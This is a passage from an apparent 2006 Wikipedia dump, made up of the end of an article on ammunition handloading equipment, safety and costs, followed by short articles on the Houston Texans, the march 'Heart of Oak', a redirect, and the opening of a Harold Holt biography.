Competition shooters also often sort bullets by weight, often down to 0.1 grain (0.007 grams) increments.  The bullet is placed in the case mouth by hand, and then seated with the press.  At this point, the expanded case mouth is also sized back down.  A crimp can optionally be added, either by the seating die or with a separate die.  Taper crimps are used for cases that are held in the chamber by the case mouth, while roll crimps may be used for cases that headspace on a rim or on the cartridge neck.  Roll crimps hold the bullet far more securely, and are preferred in situations, such as magnum [[revolver]]s, where recoil velocities are significant.  A tight crimp also helps to delay the start of the bullet's motion, which can increase chamber pressures, and help develop full power from slower burning powders (see [[internal ballistics]]).

==Equipment==
The basic piece of equipment for handloading is the press.  A press is a device that uses compound [[leverage]] to push the cases into the [[die]]s that perform the loading operations.  Presses vary from simple, inexpensive single stage models, to complex progressive models that will eject a loaded cartridge with each pull of a lever, at rates of 10 rounds a minute.

===Presses===
Single stage presses are the simplest.  They perform one step on one case at a time.  When using a single stage press, cases are loaded in batches, one step per batch at a time.  Batches should be kept small, about 50 cases at a time, so that a batch is never left in a partially completed state.  Once a case is primed, it should be finished as soon as possible, since high humidity can degrade the primer.

Progressive presses handle several shells at once, with each pull of the lever performing a single step on all the cases at once.  Progressive presses hold all the dies needed, plus a powder measure and a primer feed, and often also include an additional station where the powder levels are checked, to prevent over or under charges.  Progressive presses also often feature case feeds that will hold hundreds of cases to be loaded, and all the user has to do is hold the bullet in place over the appropriate case mouth, and pull the lever.

Shotshell presses are a special case, and are generally a single unit that handles all functions.  Shotshell reloading is similar to cartridge reloading, except that instead of a bullet, a wadding and a measure of shot are used, and after loading the shot, the shell is crimped shut.  The shotshell loader contains stations to resize the shell, measure powder, load the wad, measure shot, and crimp the shell.  Due to the low cost of modern plastic shotshells, and the additional complexity of reloading fired shells, shotshell handloading is not as popular as cartridge handloading.

===Dies===
Dies are generally sold in sets of two or three dies, depending on the shape of the case.  A three die set is needed for straight cases, while a two die set is used for bottlenecked cases.  The first die of either set performs the sizing and decapping operation.  The middle die in a three die set is used to expand the case mouth of straight cases, while in a two die set the entire neck is expanded as the case is extracted from the first die.  The last die in the set seats the bullet and applies a crimp.  Special crimping dies are often used to apply a stronger crimp after the bullet is seated, and progressive presses often use an additional &quot;die&quot; to meter powder into the case (though it is arguably not a real die as it does not shape the case).

Standard dies are made from [[hardened steel]], and require that the case be lubricated, for the resizing operation, which requires a large amount of force.  Carbide dies have a ring of [[tungsten carbide]], which is far harder and slicker than tool steel, and so carbide dies do not require lubrication. Tapered carbide sizing dies such as the 9mm Luger and 30M1 Carbine require slight lubrication. Usually every fifth to tenth case as needed.

Reloading dies usually have 7/8-14 threads and are interchangeable with all common brands of presses. Dies for rifle bottle neck case usually are supplied in sets of 2 and sometimes 3. One manufacturer supplies a third die to apply a factory type crimp. This is an extra operation and is not needed unless the ammunition is used for hunting or the benefit of improved accuracy. The factory style crimp increases the shot start pressure causing a more uniform pressure curve. 

Three dies are normally supplied for straight walled pistol cases. Most of these include a carbide sizing die. This is highly desirable because it eliminates the need to lubricate the case. A fourth die is becoming more popular for a factory style crimp and a post sizing operation. This greatly improves reliability.

===Shellholders===
A shellholder, generally sold separately, is needed to hold the case in place as it is forced into and out of the dies.  The reason shellholders are sold separately is that many cartridges share the same base dimensions, and a single shellholder can service many different cases.  Shellholders are also specialized, and will generally only fit a certain make of reloading press, while dies are more standardized and will fit a wide variety of presses.

===Scale===
A precision scale is a near necessity for reloading.  While it is possible to load using nothing but a powder measure and a weight to volume conversion chart, that greatly limits the precision with which a load can be adjusted, and the variation inherent in measuring by volume means that maximum loads should be avoided.  With a powder scale, an adjustable powder measure can be calibrated more precisely for the powder in question, and spot checks can be made during loading to make sure that the measure is not drifting.  With a powder trickler, a charge can be measured directly into the scale, giving the most accurate measure.  A scale also allows bullets and cases to be sorted by weight, which can increase consistency further.  Sorting bullets by weight has obvious benefits, as each set of matched bullets will perform more consistently.  Sorting cases by weight is done to group cases by case wall thickness, and match cases with similar interior volumes.  Military cases, for example, tend to be thicker, while cases that have been reloaded numerous times will have thinner walls due to brass flowing forward under firing, and being later trimmed from the case mouth.

Both balance scales and electronic scales are available, and while electronic scales are easier to use (and generally have English to metric unit conversions) the balance scales can be more accurate for a skilled user, as they let the user discern differences of less than the stated accuracy of the scale. The simplicity of their construction is often reassuring when compared with the complexity of an electronic scale, which may not give any visible clues as to a defect or loss of calibration. Such reassurance is greatly valued when dealing with handloads, since the dangers posed by a badly-charged round are severe.

===Priming tool===
Single stage presses often don't provide an easy way to prime cases.  Various add-on tools can be used for priming the case on the down-stroke, or a separate tool can be used.  Since cases loaded with a single stage press are done in steps, with the die being changed between steps, a purpose made priming tool is often faster than trying to integrate a priming step to a press step.

===Powder measure===
Beginning reloading kits often include a weight to volume conversion chart for a selection of common powders, and a set of powder volume measures graduated in small increments.  By adding the various measures of powder a desired charge can be measured out with a safe degree of accuracy.  However, since multiple measures of powder are often needed, and since powder lots may vary slightly in density, a scale accurate to 0.1 grain (1/7000th of a pound, or .006 grams) is desirable.  

===Bullet puller===
Like any complex process, mistakes in handloading are easy to make, and it's far better to be safe and re-do a questionable step than to hope thing will come out all right.  A bullet puller is the answer to the question of what to do with the mistakes.  Most pullers use [[inertia]] to pull the bullet; they are shaped like hammers, and the case is locked in place inside.  A sharp blow on a hard surface will suddenly stop the case, and the inertia of the heavy bullet will pull it free of the case in a few blows.  The bullet and powder are trapped in the bullet puller, and can be reused.  Primers are a more problematic issue.  If a primer is not seated deeply enough, the cartridge (if loaded) can be pulled, and the primer re-seated with the seating tool.  Primers that must be removed are best deactivated first--either firing the primed case in the appropriate firearm, or soaking in oil will achieve this (oil is used because most primers are designed to be water resistant).

&lt;!--
Calipers (trim-to and OAL)
Micrometer (bullet diameter)
Case gauges
--&gt;

==Safety/Caveats!==
*'''Wear eye protection.'''  
*'''Avoid all distractions!'''  This isn't the time to listen to the television in the next room!
*'''Arrange all components and stages in some logical order.'''
*Keep face clear when priming--primers can throw particles at high velocity and penetrate the skin.
*Unless using a progressive press, don't have powder out when priming.
*Keep heat sources away, and NEVER smoke when reloading
*Store powder in its original cardboard or plastic container.  Unconfined powder burns, confined powder will explode.
*Dispose of unknown or contaminated powder.
*Damaged or contaminated primers should be soaked in oil to deactivate them before disposing.
*Store primers in factory packaging, to protect them from impact and reduce the risk of [[chain reaction]]s if one should detonate.
*Keep work area clean.  A dirty reloading area means that dropped components can become contaminated with oil or dirt.
*Do not eat or drink while loading or handling components. Lead residues from bullets, smokeless powder and priming compounds are all poisonous.

==Accuracy tips==
Precision and consistency are key to developing accurate ammunition.  Careful sorting of components is the first step to this; bullets should be sorted by weight, and each lot of matched bullets should be stored separately and marked with the exact weight.  Each lot of cases should start new, purchased as a single lot, and stay together as they are reloaded.  Powder for a lot of ammunition should come from a single can, and primers should come from the same box.  If a powder measure is used, the same person should measure each load, using the same technique for every measure, since differences in technique can result in the powder packing slightly differently in the measure.  If an analog scale is used, then the same person should perform all measurements, in the same light and from the same position--digital scales remove the variance in observation, but they also remove the ability to push the limits of the scale's precision.  The positions of the dies and the adjustments of the powder measure should be checked periodically during loading, to make sure that the adjustments are not drifting.  Carefully following these techniques will make each cartridge as much like every other as possible, and this is one of the fundamentals of accurate shooting.

Tuning load to gun can also yield great increases in accuracy, especially for standard, non [[accurize]]d rifles.  Different rifles, even of the same make and model, will often react differently to the same ammunition.  The handloader is afforded a wider selection of bullet weights than can readily be found in commercially loaded ammunition, and there are many different powders that can be used for any given cartridge.  Trying a range of bullets and a variety of powders will determine what combination of bullet and powder gives the most consistent velocities.  Careful adjustment of the amount of powder can give the velocity that best fits the natural harmonics of the barrel (see [[accurize]] and [[internal ballistics]]).  For ultimate accuracy and performance, the handloader also has the option of using a [[wildcat cartridge]]; wildcats are the result of shaping the cartridge and chamber themselves to a specific end, and the results push the envelope of velocity, energy, and accuracy.

&lt;!-- Addendum to Bullet Sorting (Rod C. Venger, Colorado Springs) --&gt;
While bullet weight is the most common factor in sorting bullets, it is not the only factor. Sorting by the length of the bearing surface (that area between the base of a flat-based bullet and the ogive, or the area above the base of a boattailed bullet and the ogive) often yields better performance in custom made rifles, particularly in competition firearms. The bearing surface of the bullet has a significant effect on a number of factors, including the energy required to [[swage]] the bullet into the rifling, the friction of the bullet in the bore, and most importantly, the freebore, or the distance the bullet travels before it engages the rifling.  Measuring the bearing surface requires the use of a bullet comparitor and micrometer combination. Sorting by this method ensures that the amount of bullet protruding from the case after being seated is consistent across the entire population of loads, which then ensures that the freebore is as close to identical as is possible. Varying freebore amounts invariably cause variations in chamber pressure which in turn affects velocity and downrange performance. This is particularly critical since the burn rate of [[smokeless powder]] is proportional to the pressure, so a slight change in pressure during the initial bullet movement can result in far greater changes as the burn continues.  Sorting by bearing surface is generally done as a second step, first sorting by bullet weight (generally to within 0.1 grain in weight) and then sorting each weight category by bearing surface.

==Cost considerations==
Those who reload with they primary goal of maximizing accuracy or terminal performance may end up paying more per reloaded round than some commercial ammunition--this is especially true for military calibers which are commonly available as surplus.  Maximum performance, however, requires the highest quality components, which are usually the most expensive.  Reloaders who reload with the primary goal of saving money on ammunition, however, can make a few tradeoffs to realize significant cost savings with a minimal sacrifice in quality.

===Bullets===
While the case is usually the most expensive component of a cartridge, the bullet is usually the most expensive part of the ''reloaded'' round, especially with handgun ammunition.  It is also the best place to save money with handgun ammunition.

For the truly frugal, the cheapest method of getting bullets is to cast them.  This requires a set of bullet molds, which are available from a number of sources, and a source of known quality lead.  [[Linotype]] and wheelweights are often used as sources of lead, and blended togethe to achieve the desired   [[Brinell hardness test|Brinell hardness]].  Cast bullets are also the cheapest bullets to buy, though generally only handgun bullets are available in this form.  Some firearms, such as those using polygonal rifling like [[GLOCK]] and {{H&amp;K]], advise against the use of cast bullets.  For shooters who would like to shoot cast bullets, aftermarket barrels are generally available for these models with conventional rifling, and the cost of the barrel can generally be recouped in ammunition savings after a few thousand rounds.

Soft lead bullets are generally used in handguns with velocities of 1000 fps (300 m/s) or lower, while harder cast bullets may be used, with careful powder selection, in rifles with velocities of 2000 fps (600 m/s) or slightly more.  The limit is the point at which the powder gas temperature and pressure starts to melt the base of the bullet, and leave a thin coating of molten and re-solidified lead in the bore of the gun--a process called '''leading''' the bore.  Cast lead bullets may also be fired in full power magnum handgun rounds like the [[.44 Magnum]] with the addition of a gas check, which is a thin [[zinc]] or [[copper]] washer or cup that is crimped over a tiny heel on the base of appropriate cast bullets.  This provides protection for the base of the bullet, and allows velocites of over 1500 fps (450 m/s) in handguns, with little or no leading of the bore.

Most shooters prefer jacketed bullets, especially in rifles and pistols.  The hard jacket material, generally copper or [[brass]], resists deformation and handles far higher pressures and temperatures than lead.  With the exception of a single company that offers a [[swage|swaging]] machine desinged to turn [[.22 Long Rifle]] cases into brass jackets for .22 caliber (5.56 mm) bullets, handloaders have no choice but to purchase pre-made jacketed bullets.  The process of manufacturing a jacketed bullet is far more complex than that for a cast bullet; first, the jacket must be punched from a metal sheet of precise thickness, filled with a premeasured lead core, and then swaged into shape with a high pressure press.  This involved process makes jacketed bullets far more expensive on average than cast bullets.  Further complicating this are the requirements for controlled expansion bullets (see [[terminal ballistics]]), which require a tight bond between the jacket and the core.  Premium expanding bullets are, with match grade bullets, at the top tier in expense.

A more ecenomical alternative was made available to the handloader in the [[1980s]], the copper plated bullet.  Copper plated bullets are lead bullets than are [[electroplate]]d with a copper jacket.  While thinner than a swaged bullet jacket, the plated jacket is far thicker than normal electroplate, and provides significant structural integrity to the bullet.  Since the jacket provides the strength, soft lead can be used, which allows bullets to be swaged or cast into shape before plating.  While not strong enough for most rifle cartridges, plated bullets work well in many handgun rounds, up to about 1500 fps (600 m/s).  Plated bullets fall between cast and and traditional jacketed bullets in price.

While originally sold to only to handloaders as an inexpensive substitute for jacketed bullets, the plated bullet has come far.  The ammunition manufacturer Speer now offers the Gold Dot line, commercially loaded premium handgun ammunition using copper plated [[hollow point bullet]]s.  The strong bond between jacket and core created by the electroplating process makes expanding bullets hold together very well, and the Gold Dot line is now in use by many police departments.

===Maximizing case life===
Since the case is the single most expensive part of a loaded round, the more times a case can be re-used, the better.  Cases that are loaded to a moderate pressure will generally last longer, as they will not be [[work hardening|work hardened]] or flow under pressure as much as cases loaded to higher pressures.  Work hardening can cause cracks to occur in the neck as the hardened brass loses its malleability, and is unable to survive swaging back into shape during the resizing operation.  Rifle brass tends to flow towards the neck (this is why rifle brass must be trimmed periodically) and this takes brass away from the rear of the case.  Eventually, this will show as a bright ring near the base of the cartridge, just in front of the thick web of brass at the base.  If brass is used after this ring appears, it risks a crack, or worse, a complete head separation, which will leave the forward portion of the brass lodged in the chamber of the gun.  This generally requires a special stuck case removal tool to extract, so it is very undesirable to have a head separation.

Work hardening happens to all cases, even low pressure handgun cases.  The sudden increase in pressure upon firing hits the brass like a hammer, changing it's crystaline structure and making it more brittle.  The neck of the case, if it becomes too brittle, will be incapable of standing the strain of resizing, expanding, crimping, and firing, and will split during loading or firing.  While a neck split during firing is not a significant danger, a split neck will render the case incapable of holding the bullet in place, so the case must be discarded.

The simplest way to decrease the effects of work hardening is to decrease the pressure in the case.  Loading to the minimum power level listed in the reloading manual, instead of the maximum, can significantly increase case life.  Slower powders generally also have lower pressure peaks.  If the manual lists pressures for each load given, then pick a powder and load that gives a low peak pessure.  

[[Anneal]]ing brass to make it softer and less brittle is fairly easy, but annealing cartridge cases is a more complex matter.  Since the base of the case should be hard, it cannot be annealed.  Since annealing brass requires heating it to about about 660 F (350 C) and then cooling it back to room temperature, the heating must be done in such a way as to prevent the base of the case from heating up and loosing its hardness.  The traditional way is to stand the cases in a shallow pan full of water, then heat the necks of the cases with a torch, but this method makes it very difficult to get an even heating of the case neck.  A better method is to mark the case with a 660 F (350 C) temperature sensitive crayon at the point to which it is to be annealed (just behind the shoulder for bottlenecked cartridges, near the bullet seating depth for straight wall cartridges).  Latch the cartridge base into a holder, such as a shell holder, that will securely hold it while you spin the case.  Place the neck of the case in a [[propane]] torch flame, and heat it until the crayon mark changes color, indicating the correct temperature--the surface of the brass will also attain a bluish shade as it oxidizes slightly due to the heat.  Once the correct temperature is reached, quickly quench the case in water to stop the annealing process and prevent the heat from reaching the base of the case.

Cases that have small cracks at the neck may not be a complete loss.  Many cartridges, both commercial and [[wildcat cartridge|wildcats]], can be made by shortening a longer cartridge.  For example, a [[.223 Remington]] can be shortened to become a [[.222 Remington]], which can further be shortened to beome a [[.221 Fireball]].  [[.30-06 Springfield]] can become [[.308 Winchester]], which can become [[.308 x 1.5]] or any number of speicalized [[benchrest shooting]] cartridges.  Since the cracking is likley due to a brittle neck, the cases should be annealed before attempting to reform them, or the crack might propagate and ruin the new case as well.

===Minimizing powder cost===
Powder is another significant cost of reloading, and one over which the handloader has significant control.  In addition to the to the obvious step of using a minimum charge, rather than a full power one, significant const savings can be obtained through careful powder choice.  Given the same bullet and cartridge, a faster burning powder will generally use a smaller charge than a slower powder.  For example, Accurate Arms lists 5 powders as suitable for a [[.44 Magnum]] firing a 240 grain lead semiwadcutter.  AA #2 is a very fast pistol powder, while AA #9 is a very slow pistol powder, and loads are listed four both of these.  The minimum loads listed are 9.0 grains of AA #2 for a velocity of 1126 fps, and 19.5 grains of #9 for 1364 fps.  The difference is 777 loads per pound for AA #2, and 358 loads per pound for AA #9.All the Accurate Arms pistol powders cost the same per pound, about US$16, so the difference is US$0.0206 vs. US$0.0447, over 2 cents per round.  Where the tradeoff comes in is in terms of power and accuracy; AA #2 is designed for small cases, and will burn inconsistenly in the large .44 Magnum case.  AA #9, however, will fill the case much better, and the slow burn rate of AA #9 is ideal for magnum hangun rounds, producing 20% higher veloocities (at maximum levels) while still producing less pressure than the fast burning AA #2.  A medium burning powder might actually be a better choice, as it would split the difference in powder weights while delivering more power and accuracy than the fastest powder.

One solution that is applicable to [[revolver]]s in particular is the possibility of using a reduced volume case.  Cartridges such as [[.357 Magnum]] and [[.44 Magnum]] are just longer versions of their parent rounds of [[.38 Special]] and [[.44 Special]], and the shorter rounds will fire in the longer chambers with no problems.  The reduced case capacity allows greater accuracy with even lighter loads.  A .44 Special loaded with a minimum load of AA #2 uses only 4.2 grains of powder, and produces a modest 771 fps.

==External links==
*[http://www.jesseshunting.com/articles/guns/category16/9.html Low Pressure &amp; High Velocity with Cast Bullets], from Jesse's Hunting and Outdoors
*[http://www.rainierballistics.com/ Rainier Ballistics], a major maker of plated bullets for handloaders
*[http://www.corbins.com/index.htm Corbin], maker of commercial and consumer grade bullet swaging equipment, including the equipment to turn .22 LR cases into jacketed bullets
*[http://www.firearmstactical.com/ammo_data/9mm.htm Comparison] of various 9 x 19 mm expanding bullet loads, including the Speer Gold Dot plated bullet
*[http://www.gun-tests.com/performance/jun96cases.html Gun Tests] article on case annealing.
*[http://www.accuratepowder.com/ Accurate Arms], source of loading information for fast vs. slow powder comparison

[[Category:Ammunition]]</text>
    </revision>
  </page>
  <page>
    <title>Houston Texans</title>
    <id>13864</id>
    <revision>
      <id>41502392</id>
      <timestamp>2006-02-27T20:21:50Z</timestamp>
      <contributor>
        <ip>128.190.62.54</ip>
      </contributor>
      <comment>/* The NFL seeks a 32nd team */</comment>
      <text xml:space="preserve">{{Otheruses4|1=the current [[National Football League]] team|2=the [[World Football League]] team|3=Shreveport Steamer}}
{{NFL team | name = Houston Texans
| logo = HoustonTexans_100.png
| founded = 2002
| city = Houston, Texas
| colors = Deep Steel Blue, Battle Red, and Liberty White
| coach = [[Gary Kubiak]]&lt;!--Note: Please do not add a name here until the team officially announces it. Thanks. --&gt;
| owner = [[Bob McNair]]
| general manager = [[Charley Casserly]]
| mascot = Toro
| stations = KILT (610 AM), KILT (100.3 FM), and KLAT (1010 AM)-Spanish
| announcers = Marc Vandermeer and [[Andre Ware]] (English); Rolando Becerra and Enrique Vasquez (Spanish)
| hist_yr = 2002
| NFL_start_yr = 2002
| division_hist =
*'''[[American Football Conference]] (2002-present)'''
**'''[[AFC South]] (2002-present)'''
| stadium_years =
*'''[[Reliant Stadium]] (2002-present)'''
}}

The '''Houston Texans''' are a professional [[American football]] team based in [[Houston, Texas|Houston]], [[Texas]]. They currently belong to the [[AFC South|Southern Division]] of the [[American Football Conference]] (AFC) in the [[National Football League]] (NFL). The Texans joined the NFL as a 2002 [[expansion team]]. The city's previous franchise, the '''Houston Oilers''', moved to [[Nashville, Tennessee|Nashville]], [[Tennessee]] in 1997 and changed their name to the [[Tennessee Titans]]. &lt;!--Note: detailed history should be put into the Franchise history section below, not in this lead section--&gt;
 
:'''Uniform colors:'''  Steel blue, Battle red, and Liberty white
:'''Helmet design:''' Blue helmet with a bull head in the red, white, and blue colors of the Texas flag

==Franchise history==
===The NFL seeks a 32nd team===
After the 1995 [[Cleveland Browns]] relocation controversy, and the establishment of both the [[Baltimore Ravens]] and a newly reactivated Browns club, the NFL sought another expansion team to give the league an even number of 32 clubs.

The NFL's newest team was originally destined for [[Los Angeles, California|Los Angeles]], as the league desired a franchise in the United States's second-largest [[media market]] (having lost both the [[Saint Louis Rams|Rams]] and the [[Oakland Raiders|Raiders]] to relocation).  Thus, initially the NFL was dealing exclusively with Los Angeles-based groups.  For reasons unknown and unexplained (one possibility was overconfidence, seeing that the NFL was dealing with Los Angeles exclusively), Los Angeles seemed to be indifferent with the prospect of being awarded an NFL franchise.  No real progress seemed to be made toward securing a suitable stadium (both the [[Los Angeles Memorial Coliseum]] and the [[Rose Bowl (stadium)|Rose Bowl]] are aging facilities).

Seeing this, Houston (which itself lost the [[Tennessee Titans|Oilers]] to relocation) took a highly aggressive approach toward gaining the franchise for itself, marketing its size (Houston is the fourth-largest city and tenth-largest media market in the United States) and the fact that it too had lost a franchise to relocation.  Having learned from the loss of the Oilers that an aging stadium (the [[Astrodome]]) would not sway the NFL, Houston put together a package which included a new [[Reliant Stadium|stadium]].  Houston's aggressiveness (and LA's slothfulness) paid off, and thus the Houston Texans were born.

===On the field: 2002-2004===
The Texans made NFL history by becoming the first expansion team to win consecutive season openers: first in 2002, defeating its established NFC in-state rival [[Dallas Cowboys]] in its first regular season game by a score of 19-10; then in 2003, beating the [[Miami Dolphins]] 21-20. In 2004, the Texans were the host team for [[Super Bowl XXXVIII]]. 

Until 2005, the team had steadily improved with each successive season with a record of 4-12 in its first season, 5-11 in 2003, and 7-9 in 2004. In 2004, they cleared some major hurdles and won two consecutives games twice in that season after failing to do so in either 2002 or 2003. The team could have won three in a row to end the season, but they were stymied by the [[Cleveland Browns]]. During one notable series in 2004, the Texans won several competitions against the [[Tennessee Titans]] (the previous Houston franchise) and the [[Jacksonville Jaguars]]. As of 2005, they have not yet won a game against the [[Indianapolis Colts]] (a [[bellwether]] of the [[AFC South]] division). Texans fans were pleased with the progress made up to this point, even though they booed the team for its dreadful performance in the aforementioned Browns game that ended the 2004 season.

===2005 Fallout===
In 2005, there were expectations for a .500 season or even a playoff berth. However, the team got off to a slow start and with the offense not playing well, offensive coordinator [[Chris Palmer (football coach)|Chris Palmer]] was fired and replaced by [[Joe Pendry]]. This marked the first major shakeup of the Texans' coaching staff in franchise history. In the [[2005 NFL Draft]] the Texans drafted seven players but only one [[offensive lineman]], long considered the team's weakest area. In December 2005, the (at the time) 1-12 Texans hired former Broncos, Giants, and Falcons coach [[Dan Reeves]] as a &quot;consultant&quot;. With their loss to the [[San Francisco 49ers]] in the last game of the season, called by many the ''[[Reggie Bush|Bush]] Bowl'', the ''Toilet Bowl'' or the ''Stupor Bowl'', the Texans ended their season with a 2-14 record, the worst record in the NFL in the 2005 season (a record some have laid blame on the Texans' front office or a certain [[Curse of Judge Hofheinz|curse]]), and earned the right to the first selection in the [[2006 NFL Draft]]. As of January 2006, many sports commentators expect that Reggie Bush, the [[Heisman Trophy]] winning running back from the University of Southern California, will be the top pick in the draft (though rumors persist that [[Vince Young]], a Houston native, may be chosen).

On January 2, 2006, head coach [[Dom Capers]] was fired by owner Bob McNair. General Manager Charley Casserly, rumored to also be a target for firing, will remain with the team. Dan Reeves will continue in his consultant role as the team searches for a new coach and prepares for the 2006 NFL draft. On January 22, 2006, Bob McNair announced that [[Denver Broncos]] offensive coordinator [[Gary Kubiak]] would become the Texans' second head coach.

As of the [[2005 NFL season]], Houston is the only NFL team with 3 distinctions: they have yet to post a winning season, they have yet to play in a regular-season [[Monday Night Football]] game, and have yet to make their first playoff appearance. The Texans are also one of three franchises, along with [[New Orleans Saints|New Orleans]] and [[Jacksonville Jaguars|Jacksonville]],  to have never played in a [[Super Bowl]] or [[List of NFL champions|NFL championship game]].

==Season-by-season records==
{{Start NFL SBS}}
{{NFL SBS season|2002|4|12|0|4th AFC South}}
{{NFL SBS season|2003|5|11|0|4th AFC South}}
{{NFL SBS season|2004|7|9|0|3rd AFC South}}
{{NFL SBS season|2005|2|14|0|4th AFC South}}
{{end box}}
^ So far, after the [[2005 NFL season]], the Texans All-Time record is 18-46-0.

==Single Season Records==
*'''Rushing Attempts''': 302 [[Domanick Davis]] (2004)
*'''Rushing Yards''': 1,188 [[Domanick Davis]] (2004)
*'''Rushing Touchdowns''': 13 [[Domanick Davis]] (2004)
*'''Receiving Catches''': 79 [[Andre Johnson]] (2004)
*'''Receiving Yards''': 1,142 [[Andre Johnson]] (2004)
*'''Receiving Touchdowns''': 6 [[Andre Johnson]] (2004), [[Corey Bradford]] (2002)
*'''Passing Attempts''': 466 [[David Carr]] (2004)
*'''Passing Completions''': 285 [[David Carr]] (2004)
*'''Passing Yards''': 3,531 [[David Carr]] (2004)
*'''Passing Touchdowns''': 16 [[David Carr]] (2004)
*'''Passing Interceptions''': 15 [[David Carr]] (2002)
*'''Quarterback Sacks''': 8 [[Jeff Posey]] (2002)
*'''Pass Interceptions''': 7 [[Marcus Coleman]] (2003)

==Players of note==
===Current players===
{{Houston Texans roster}}

===First Round Draft Picks===
*2002 [[David Carr]] QB, 1st Overall
*2003 [[Andre Johnson]] WR, 3rd Overall
*2004 [[Dunta Robinson]] CB, 10th Overall
*2004 [[Jason Babin]] LB, 27th Overall (From Tennessee)
*2005 [[Travis Johnson]] DE, 16th Overall
*2006 (To Be Announced), 1st Overall

===[[Pro Football Hall of Fame]]rs===
none

===Retired numbers===
none

===Not to be forgotten===
* [[Tony Boselli]]
* [[Aaron Glenn]]
* [[Billy Miller]]
* [[Jamie Sharper]]
* [[Dom Capers]] (1st Head Coach)

==Head Coaches==
*[[Dom Capers]] (2002-2005)
*[[Gary Kubiak]] (2006-present)

===Current Staff===
*Head Coach - [[Gary Kubiak]]
*Assistant Head Coach - [[Mike Sherman]]
*Offensive Coordinator - [[Troy Calhoun]]
*Defensive Coordinator - [[Richard Smith (football coach)|Richard Smith]]
*Special Teams Coach - [[Joe Marciano]]
*Quarterbacks Coach - [[Troy Calhoun]]
*Running Backs Coach - [[Chick Harris]]
*Wide Receivers Coach - [[Kyle Shanahan]]
*Tight Ends Coach - [[Brian Pariani]]
*Offensive Line Coach - [[John Benton (football coach)|John Benton]]
*Defensive Line Coach - [[Bob Karmelowicz]]
*Linebackers Coach - [[Johnny Holland]]
*Defensive Backs Coach - [[Jon Hoke]]
*Strength and Conditioning - [[Dan Riley]]

==External links==
*[http://www.houstontexans.com/ Official Houston Texans web site]
*[http://www.sportsecyclopedia.com/nfl/houtex/houtexans.html Sports E-Cyclopedia.com]

{{NFL}}

[[Category:Houston Texans| ]]
[[Category:National Football League teams]]
[[Category:2002 establishments]]

[[de:Houston Texans]]
[[es:Houston Texans]]
[[fr:Texans de Houston]]
[[it:Houston Texans]]
[[pt:Houston Texans]]
[[sv:Houston Texans]]</text>
    </revision>
  </page>
  <page>
    <title>Heart of Oak</title>
    <id>13865</id>
    <revision>
      <id>30527269</id>
      <timestamp>2005-12-07T23:19:04Z</timestamp>
      <contributor>
        <ip>172.200.174.91</ip>
      </contributor>
      <text xml:space="preserve">:''For other meanings see [[Hearts of Oak]]''

'''&quot;Heart of Oak&quot;''' is the official [[march (music)|march]] of the [[Royal Navy]] of the [[United Kingdom]]. It is also the official march of the [[Canadian Forces Maritime Command]], the naval component of the [[Canadian Forces]] (CF), as well as the CF's [[Naval Operations Branch (Canadian Forces)|Naval Operations Branch]].

The music was composed by Dr [[William Boyce]] and the words were written by the 18th Century English actor [[David Garrick]].

==[[Lyric]]s==

Come, cheer up, my lads, 'tis to glory we steer,
&lt;br&gt;To add something more to this wonderful year;
&lt;br&gt;To honour we call you, as freemen not slaves,
&lt;br&gt;For who are as free as the sons of the waves?

CHORUS
&lt;br&gt;   Hearts of oak are our ships, Jolly tars are our men,
&lt;br&gt;   we always are ready; Steady, boys, steady!
&lt;br&gt;   We'll fight and we'll conquer again and again.

&lt;br&gt;We ne'er see our foes but we wish them to stay,
&lt;br&gt;They never see us but they wish us away;
&lt;br&gt;If they run, why we follow, and run them ashore,
&lt;br&gt;And if they won't fight us, we cannot do more.

CHORUS...

&lt;br&gt;They swear they'll invade us, these terrible foes,
&lt;br&gt;They frighten our women, our children and beaus,
&lt;br&gt;But should their flat bottoms in darkness get o'er,
&lt;br&gt;Still Britons they'll find to receive them on shore.

CHORUS...

&lt;br&gt;We'll still make them fear and we'll still make them flee,
&lt;br&gt;And drub them ashore as we've drubbed them at sea,&quot;
&lt;br&gt;Then cheer up, my lads, with our hearts let us sing,
&lt;br&gt;Our soldiers, our sailors, our airmen, our Queen.

CHORUS...

[[Category:Military marches]]
[[Category:Navy of Canada]]
[[Category:Royal Navy]]</text>
    </revision>
  </page>
  <page>
    <title>Huang he</title>
    <id>13866</id>
    <revision>
      <id>41937601</id>
      <timestamp>2006-03-02T19:24:09Z</timestamp>
      <contributor>
        <username>PeaceOnEarth</username>
        <id>844500</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Yellow River]]</text>
    </revision>
  </page>
  <page>
    <title>Harold Holt</title>
    <id>13867</id>
    <revision>
      <id>41532382</id>
      <timestamp>2006-02-28T00:00:41Z</timestamp>
      <contributor>
        <username>PMA</username>
        <id>6661</id>
      </contributor>
      <text xml:space="preserve">{{Infobox PM
 | name=Rt Hon Harold Holt
 | image=haroldholt.jpg
 | country=Australia
 | term=[[26 January]], [[1966]]&amp;ndash;[[19 December]], [[1967]]
 | before=[[Robert Menzies]]
 | after=[[John McEwen]]
 | date_birth=[[5 August]] [[1908]]
 | place_death=[[Sydney]], [[New South Wales]]
 | date_death=[[17 December]] [[1967]]
 | place_death=[[Cheviot Beach]], [[Victoria (Australia)|Victoria]]
 | party=[[Liberal Party of Australia|Liberal]]
}}
'''Harold Edward Holt''' ([[5 August ]] [[1908]]&amp;ndash;[[17 December ]] [[1967]]) was an [[Australia]]n politician and the 17th [[Prime Minister of Australia]] from [[1966]] - [[1967]], now best remembered for the bizarre circumstances of his death.

He was born in [[Sydney]], the son of Tom Holt, a well-known theatre director, but he was educated at [[Wesley College, Melbourne|Wesley College]] in [[Melbourne]]  and at the [[University of Melbourne]], where he graduated in law. He practised briefly as a solicitor before being elected to the House of Representatives for the [[United Australia Party]] in [[1935]].

==Early career==
At 27 Holt was one of the youngest members of the House, but his obvious ability brought him rapid promotion to the ministry in [[1939]]. In [[1940]] he joined the Army, without resigning his seat. Shortly afterwards three Cabinet ministers were killed in an air disaster at [[Canberra]], and the Prime Minister, [[Robert Menzies]], recalled Holt from the Army to become Minister for Labour and National Service. This earned him the ironic nickname &quot;Gunner Holt.&quot; 

Holt had a reputation as a high-living playboy, but in [[1947]] he married [[Zara Bate|Zara Violet Fell]], a fashion designer, and adopted her three young sons from her first marriage. After eight years in opposition from [[1941]] to [[1949]], Holt returned to office in Menzies's new [[Liberal Party of Australia|Liberal]] government in [[1949]] as Minister for Labour and National Service and Minister for Immigration. In this position he continued and expanded the massive immigration program begun by his [[Australian Labor Party|Labor]] predecessor, [[Arthur Calwell]].

